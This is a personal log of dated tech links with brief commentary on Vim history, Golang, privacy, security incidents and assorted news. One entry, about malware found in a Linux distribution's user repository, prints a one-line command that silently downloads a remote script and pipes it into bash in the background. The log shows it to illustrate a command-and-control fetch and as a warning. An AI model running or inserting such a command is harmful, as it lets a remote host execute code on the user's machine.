Random software notes.
Another article on the history of Vim, but written from a more modern perspective.
20180924/https://twobithistory.org/2018/08/05/where-vim-came-from.html
Very interesting! So the thing about jumping into a Vim text editor when you a beginner that does not yet know how to use it? There is a meme written about that because it happens so often.
20180924/https://stackoverflow.blog/wp-content/uploads/2017/05/meme.jpeg
“Computer programming unplugged,” a more modern curriculum designed to learn computer programming without a computer, despite the advent of abundant low-cost computers in 2018.
20180924/https://hackaday.com/2018/08/03/computer-programming-unplugged-for-kids/
Interesting command line to synthesize music that’s been around for quite some time.
20180924/https://hackaday.com/2018/08/02/shell-script-synthesizer-knocks-your-sox-off/
Quantum computing is not required for an efficient recommender system algorithm. It is possible to compute recommendations, i.e. Amazon and Netflix style, via the use of an efficient classical computing algorithm.
20180924/https://www.quantamagazine.org/teenager-finds-classical-alternative-to-quantum-recommendation-algorithm-20180731/
Spectre and Meltdown security mitigations causes Google Chrome to consume 10% more RAM.
20180924/https://www.howtogeek.com/fyi/google-chrome-will-start-using-10-more-ram-now-thanks-to-spectre/
This article tries to convince the reader that the increased RAM consumption of web browsers a good thing that they want. Yeah, yeah, trying to gloss over the fact that modern programmers have gotten lazier and less efficient, even when performing the same tasks that were previously performed efficiently on earlier computers.
Okay, so let me explain the problem as follows. Yes, it is true that enabling less skilled programmers to write software will result in a greater production of useful software. That is good in its own right. However, the problem in this comes down to when you try to take the same low-skilled talent and apply that to reinvent a problem that has already been solved before. The result? You’ll get a less efficient, more buggy implementation to an already solved problem, albeit using more modern technologies. This is a problem because when users of these older, more efficient systems are upgrading, they will be forced to squander some of their precious resources to literally get nothing new, other than a back-end implementation that is written under more politically correct antecedents. Particularly it is a problem if the users who are upgrading are not planning on using that system to perform “new” tasks, but rather to focus on keeping their software system secure and interoperable.
20180924/https://www.howtogeek.com/334594/stop-complaining-that-your-browser-uses-lots-of-ram-its-a-good-thing/
Self-taught programmers? Don’t worry, they’re are just as good as degreed ones when they qualify by other measures, to summarize.
20180924/https://www.forbes.com/sites/quora/2018/07/13/theres-good-news-for-self-taught-programmers-when-it-comes-to-job-performance/#5b6e75895b0f
Google Cloud Platform sent hash threat to delete a customer’s cloud services account if they didn’t provide requested information within three days. The agreed problem? Not enough human customer service representatives. A classic among Google, a company with a reputation for running everything via machines and machine learning.
20180924/https://amp.businessinsider.com/google-cloud-threatens-to-automatically-delete-business-app-2018-7
An article about great skills in developers that everyone is overlooking. Very interesting article point! Spending time on Reddit and Twitter? Is that time wasted? Actually not. Some of the things you may learn that you didn’t know existed from spending time on those sites is more valuable than the things you do know.
20180924/https://medium.com/comparethemarket/everybody-is-overlooking-great-developers-lets-change-that-ddf97e408060
Very interesting! On Unix, a fetch to a command-and-control server can be created with one line of shell code? Yes.
curl -s https://[redacted]/~x|bash -&
Be careful about “user repositories” on distros as they can contain malware.
20180924/https://nakedsecurity.sophos.com/2018/07/11/another-linux-distro-poisoned-with-malware/
So what is the licensing on the content posted to Twitter? Well, this is interesting. The Twitter Terms of Service say that the author owns their post contents, but they grant Twitter a license to reproduce it for the sake of running Twitter services, without any expectation that Twitter will provide compensation to the author.
Periscope I hear mentioned too? Oh, that’s some sort of TV streaming service on behalf of Twitter.
20180925/https://twitter.com/en/tos
Don’t use pattern unlock, people can easily see it and remember it, unlike passcodes that are more difficult to see and remember.
20180925/https://gizmodo.com/for-the-love-of-all-that-is-holy-stop-using-pattern-un-1818672002
Google being reluctant to comply with search warrant, Justice Department “goes nuclear” on them.
20180925/https://arstechnica.com/tech-policy/2017/09/justice-department-goes-nuclear-on-google-in-search-warrant-fight/
Good news, the ozone layer is coming back after decades of the Montreal Protocol being enforced. So we have proof that the Montreal Protocol actually works and is not just some sort of scam.
20180925/https://arstechnica.com/science/2018/01/new-measurement-confirms-the-ozone-is-coming-back/
Intersting article on the death of microservice madness.
20180925/https://www.dwmkerr.com/the-death-of-microservice-madness-in-2018/
Very interesting ideas here. DNSFS, an filesystem that uses Internet
protocol persistence as its means of memory. There is a similarly
interesting concept with pingfs. I must say, not too dissimilar to
the earlier ideas of using mercury delay lines for computer memory.
Take a signal and just loop it around with amplification to get
yourself some computer memory.
20180925/https://blog.benjojo.co.uk/post/dns-filesystem-true-cloud-storage-dnsfs
Ada is no longer in widespread use anymore, but luckily some of its good ideas are being reproduced in Golang.
20180925/https://www.reddit.com/r/ada/comments/7p12n3/going_allin_with_ada_a_manifesto/
OpenCensus? Sounds interesting, but, well, I guess it’s not as interesting as you might think from the name.
20180925/https://opensource.googleblog.com/2018/01/opencensus.html
Wow, really interesting here. The NSA has long had voice fingerprinting technology before its come onto the commercial scene, and it’s quality has been quite good at that. Also, the need for large amounts of training data has also motivated policies for increasing phone call recording and storage.
20180925/https://theintercept.com/2018/01/19/voice-recognition-technology-nsa/
Report: 80’s kids started programming at a younger age than today’s millenials. Again, I reiterate, because this is important! I must admit that I am not surprised one bit at this. The point is that the 1980’s was an unusual time when kids matured faster than in the past or the present, due to some of the social, cultural, and economic conditions.
20180925/https://thenextweb.com/dd/2018/01/23/report-80s-kids-started-programming-at-an-earlier-age-than-todays-millennials/
Interesting article on being 9-to-5 developer, and challenges becoming one, and viewpoints from one.
20180925/https://exceptionnotfound.net/i-am-a-9-to-5-developer-and-so-can-you/
Again, I reiterate, because this is important! Why younger developers don’t like new programming languages.
20180925/https://www.techrepublic.com/article/heres-why-younger-developers-cant-stand-new-programming-languages/
City of Minneapolis created this new rule that most people think is stupid and don’t like: two-car per driveway limit, regardless of length of driveway, etc.
20180925/https://jalopnik.com/stupid-minneapolis-will-fine-you-for-having-more-than-t-1822669000
Yet another article and perspective on the history of open-source software.
20180925/https://www.engadget.com/2018/02/03/20-years-of-open-source-software/
Wow, very interesting! A compiler that compiles C programs entirely to ASCII text, even executable!
20180925/http://www.cs.cmu.edu/~tom7/abc/paper.pdf
High speed Internet above 100Mbps has almost no competition, even in 2016.
20180925/https://arstechnica.com/information-technology/2018/02/fcc-report-finds-almost-no-broadband-competition-at-100mbps-speeds/
Security! Raw sockets exploit give attackers almost full control over GNU/Linux systems.
20180925/https://arstechnica.com/information-technology/2018/02/raw-sockets-backdoor-gives-attackers-complete-control-of-some-linux-servers/
Security! Very interesting, there was a company that FedEx bought and retired that provided mail scanning and digitization services for an inbox. Although the service was no longer in modern use, there was a AWS bucket that was made publicly available that leaked sensitive information like passports and driver’s licenses over the Internet.
20180925/https://www.theregister.co.uk/2018/02/15/fedex_aws_s3_leak/
Golang! Wow, interesting. Linux namespaces causing trouble with Golang programs.
20180925/https://www.weave.works/blog/linux-namespaces-and-go-don-t-mix
Steve Wozniak no longer agrees that artificial intelligence will pose a significant threat to human society any time soon.
20180925/https://www.cnbc.com/2018/02/23/steve-wozniak-doesnt-agree-with-elon-musk-stephen-hawking-on-a-i.html
Security! WebUSB? I haven’t heard of that before. Basically it is a new Web API that allows Web applications to access USB devices. Also related is the fact that it creates a vulnerability/exploit against otherwise secure smartcards.
20180925/https://www.wired.com/story/chrome-yubikey-phishing-webusb/
20180925/https://en.wikipedia.org/wiki/WebUSB
Interesting, profiling applications with “flamegraphs.”
20180925/http://brendanjryan.com/golang/profiling/2018/02/28/profiling-go-applications.html
This one is really interesting. Someone who thought that Google would be the best place in the world to work at, but found out that their promotion process really didn’t work for their actual observed working conditions. Where did they go next? Well, they found a community called Indie Hackers, which is pretty interesting. Basically it is a community of hackers who get together who have side projects. They choose the schedule the side project works at, and if it goes well they can promote it to a business endeavor.
20180925/https://mtlynch.io/why-i-quit-google/
THis is interesting. A recipe aggregating site built by the same person. I’ve got to look at it to see what the modern web devs are doing for this applicaton.
20180930/https://mtlynch.io/ketohub-month-3/
Interesting, someone having trouble with GitHub forks locking them out of access to a forked repo. Why? It was a fork of a private repo, and when the private account owner’s account got disabled, those “permissions” inherited to the forks of it too.
20180925/https://www.niels-ole.com/ownership/2018/03/16/github-forks.html
Criticizing HTTPS Strict Transport Security. What is the problem? The problem is that storing a cookie to remember the strict security setting on a local device can accumulate to a fingerprint of a user, that can then be used to track them across the Internet. Once they’re “logged into” the advertising network like this, they cannot control their account to log out.
20180925/https://webkit.org/blog/8146/protecting-against-hsts-abuse/
Important! Wow, this is really interesting. Traits that successful programmers can develop as kids, now? (1) Focus, (2) collaboration, (3) leadership, (4) emotional intelligence, (5) curiosity, (6) growth mindset, (7) writing, (8) storytelling, (9) teaching. Yes, as it turns out, coding at a young age isn’t really required. Actually, to put it more correctly and surprisingly, it doesn’t really help for the long-term career.
20180925/https://venturebeat.com/2018/03/17/9-traits-of-successful-programmers-that-kids-can-develop-now/
Flat Earth rocketeer launches himself into the sky? Very interesting, to the end that this is someone who kept the calculations secret, and also that such a feat would surely require an admission that the Earth is round.
20180925/https://gizmodo.com/at-long-last-flat-earth-rocketeer-finally-manages-to-b-1824059035
Google blocking uncertified devices from Google’s proprietary Android
apps. Also interesting here is mention that some third-party
modifications on Android phones can be quite surprising in the supply
chain. When arstechnica imported a Xiaomi Redmi 3 smartphone from
China, it turned out that the importer must have opened up the box,
reflashed the phone with additional software, locked it down, sealed
it in a box again, then shipped it out. With that treatment, they’re
not too far away from packaging malware onto the phone in the
intermediary.
20180925/https://arstechnica.com/gadgets/2018/03/google-starts-blocking-uncertified-android-devices-from-logging-in/
Important! Now, this is important. iPhone X uses a “TrueDepth” sensor array, which is basically an infrared dot projection triangulation system for depth mapping near-field objects such as selfie faces. Does this replace more traditional 3D scanners? No, you said it right there. Like all 3D scanner systems, there are obvious limits to the 3D mapping system in the iPhone X, and only when you are working within those limits can you get good results. Nevertheless, this proves instrumental for “consumer-grade” use of the technology, not to mention that face matching is bound to be much more popular than other more generic uses.
Also interesting is that one of the demo apps, Animoji, does not actually require the depth data to function, it runs almost entirely off of the optical images, as evidenced by experimenting with covering up the infrared projector versus covering up the visible light camera.
20180930/DuckDuckGo truedepth sensor array
20180930/https://www.cultofmac.com/514225/animoji-doesnt-require-iphone-xs-truedepth-sensor/
20180930/https://www.imore.com/how-iphone-x-camera-and-slow-sync-flash-work
Microsoft is making Windows Subsystem for Linux more advanced by supporting multiple distributions.
20180925/https://arstechnica.com/gadgets/2018/03/microsofts-new-open-source-tool-lets-you-bring-your-own-linux-distro-to-windows/
Raspberry Pi! Minimal Golang runtime on a Raspberry Pi without installing a full distribution? Yep, you’ve got it.
20180925/https://gokrazy.org
Security! Security vulnerability in the beep command? Yes, alas a
programming error can cause the beep command to be used in privilege
escalation.
20180925/https://www.bleepingcomputer.com/news/security/linux-beep-command-can-be-used-to-probe-for-the-presence-of-sensitive-files/
20180925/https://holeybeep.ninja
Security! Facebook and Google tracking explained, to the uninitiated. What I must say. The average Internet user should not be surprised that some of these kinds of data collection are much easier and more automatic with modern technology. On the other hand, there is still lots of information from people that they’d normally want in a computer system, is easy to import, but still far displaced from the modern ads tracking regime.
20180925/https://www.nytimes.com/2018/04/11/technology/personaltech/i-downloaded-the-information-that-facebook-has-on-me-yikes.html
Very interesting. MySpace founder Tom Anderson? Currently he is a “rich nobody”. Although we might say that Facebook has clearly become more successful than MySpace, when you look at their personal circumstances, clearly Anderson is better off by vacationing around the world rather than being in court like Zuckerberg.
20180925/https://theoutline.com/post/4137/myspace-tom-mark-zuckerberg-facebook
Golang! Yes! Now you can compile Golang to WebAssembly.
20180925/https://react-etc.net/entry/webassembly-support-lands-in-go-language-golang-wasm-js
Wow, very interesting ideas here. What will be required to educate people for 100-year work careers? This is up and coming with increasing lifespans of humans. So, one emphasis of this article is that people will need to accumulate actual deep knowledge, not just know how to find things.
20180925/https://www.axios.com/next-great-workplace-challenge-100-year-careers-59d1dd4c-dc8c-4a33-b3b8-22c9336c1462.html
Yet another article about traits of highly effective people.
20180925/https://hbr.org/2018/04/7-traits-of-super-productive-people
Security! DNS rebinding attacks, what are those? Basically, it’s when a DNS timeout is used to cause a malicious server redirect, when an attacker has control over a DNS server. Now the particular problem here that IoT devices are vulnerable to is that they are designed to communicate directly to each other on the same local network, but loopholes in their APIs can be used from there. Often times, simply better API authentication can solve most of these problems.
20180925/https://www.wired.com/story/chromecast-roku-sonos-dns-rebinding-vulnerability/
20180925/https://en.wikipedia.org/wiki/DNS_rebinding
Food notes. Fats + Carbs = an underestimate in the human brain about the quantity consumed, or over-motivation to consume more. It’s a pattern the historic human brain never encountered foraging through nature, and basically the information overloads the brain.
20180925/https://www.nbcnews.com/health/health-news/combining-fat-carbs-overloads-brain-makes-us-overeat-n883201
Interesting! A genetic test to see how well you can digest carbohydrates? Chew on a cracker for 30 seconds. See when you can detect it to start tasting sweet. The sooner it happens, the better you are at digesting carbohydrates. Still, this is quite early evidence and requires more study.
20180925/https://amp.businessinsider.com/cracker-test-shows-how-many-carbs-should-you-be-eating-2018-6#amp_tf=From%20%251$s
Interesting! Habits thought to be “bad” by most people, but according to science that can actually be healthy under some circumstances.
20180925/https://amp.businessinsider.com/bad-habits-healthy-according-to-science-2018-5
Security! Backdoored Docker images that mined cryptocurrency.
20180925/https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/
Security! Consumer-grade routers were at risk for some RAM-only malware infection.
20180925/https://arstechnica.com/information-technology/2018/05/fbi-tells-router-users-to-reboot-now-to-kill-malware-infecting-500k-devices/
Sink hole at the White House and cover-up, caused by swamp, with plenty of metaphors in the discussion to the political climiate.
20180925/https://www.washingtonpost.com/news/local/wp/2018/05/22/theres-a-sinkhole-on-the-white-house-lawn-and-its-growing/
Bitcoins protected in bunkers? Interesting. Xapo is a comany in Argentina doing this for companies worldwide.
20180925/https://www.bloomberg.com/news/articles/2018-05-09/bunkers-for-the-wealthy-are-said-to-hoard-10-billion-of-bitcoin
Security! Backdoored Python library capturing SSH credentials? Yes,
it is ssh-decorator. Apparently someone hacked access to the
library, which was the cause of this issue.
20180925/https://www.bleepingcomputer.com/news/security/backdoored-python-library-caught-stealing-ssh-credentials/
There have been debates about code of conducts cropping up in open-source projects, with some members who protested them to resgin. This article discusses this subject in more detail.
20180925/https://www.businessinsider.com/programmers-debate-requirements-to-behave-respectfully-ccoc-2018-5
Interesting, how to turn Vim into a word processor.
20180925/https://www.maketecheasier.com/turn-vim-word-processor/
One space or two spaces after sentences? There was a recent scientific study, but it’s methods were still debated. However, there are some advantages to two spaces after sentences. Namely, that it provides more information, and it is easy to automatically convert from the spaces at sentence ends to one, but the reverse process is not so easy.
20180925/https://www.washingtonpost.com/news/speaking-of-science/wp/2018/05/04/one-space-between-each-sentence-they-said-science-just-proved-them-wrong-2/
Interesting reflection from someone who is both a runner and a coder. Compromising between the two desires. However, running benefits coding, but the reverse is not true.
20180925/https://medium.com/@vanderstraeten.thomas/a-runner-paying-the-price-for-too-many-nights-of-coding-702af38b606e
7 exercise habits that are actually hurting you.
20180925/https://www.iflscience.com/health-and-medicine/17-exercise-habits-that-are-actually-hurting-you/all/
Interesting, the CIA has long been using an in-house board game to train new employees, and now it is being published, publically released and playable by the rest of society.
20180925/https://kotaku.com/the-cia-made-a-board-game-and-its-now-playable-1825556825
Cellphone data collection. Why does a cellphone record locational data at all? It is required for 911 use. But, also interesting here is the policy on data resale. There are very little safeguards required on third party users that they secure the data properly, and there are generally no restrictions on data resale. Why? There are no laws that require this. The last related laws were enacted around the 1980s or so, well before the modern Internet era.
20180925/https://slate.com/technology/2018/05/locationsmart-security-it-is-totally-legal-for-cellphone-companies-to-sell-location-data-to-third-parties.html
Oh, and there’s this Twitter account that contains many of the URLs I’ve posted, but not quite so organized as I have reposted them.
20180925/https://twitter.com/jesselang